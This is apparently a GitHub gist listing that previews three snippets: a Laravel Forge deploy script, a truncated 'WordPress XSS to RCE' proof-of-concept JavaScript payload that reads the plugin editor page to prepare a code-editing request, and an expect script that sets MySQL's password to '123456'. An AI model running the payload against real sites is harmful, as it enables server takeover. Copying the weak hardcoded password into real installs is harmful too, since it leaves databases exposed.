Skip to content

Instantly share code, notes, and snippets.

@LukaSikic
LukaSikic / forge_deploy
Created November 20, 2021 14:29
forge_deploy
#!/bin/bash
# File: /usr/local/bin/forge_deploy
# Before using add FORGETOKEN to env variables in .zshrc like: export FORGETOKEN="ey..."
. .forge
if [ $(curl -Li -X POST https://forge.laravel.com/api/v1/servers/$FORGE_SERVER_ID/sites/$FORGE_SITE_ID/deployment/deploy -o /dev/null -w '%{http_code}\n' -s -H "Accept: application/json" -H "Authorization: Bearer $FORGETOKEN") == "200" ]
then
echo "Queued for deployment"
else
@LukaSikic
LukaSikic / poc.js
Created May 19, 2019 21:32
WordPress XSS to RCE
u = "/wp-admin/plugin-editor.php"
p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
var x = new XMLHttpRequest();
var r=0
x.open('GET',u+"?"+ p,1);
x.send(null);
x.onreadystatechange = function() {
if (x.readyState === 4 && r != 1) {
n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]
@LukaSikic
LukaSikic / gist:61acc0251e7211ca907241bdc3d384c1
Created July 28, 2018 22:21
Automated mysql_secure_installation ubuntu 18.04
SECURE_MYSQL=$(expect -c "
set timeout 10
spawn mysql_secure_installation
expect \"Press y|Y for Yes, any other key for No:\"
send \"n\r\"
expect \"New password:\"
send \"123456\r\"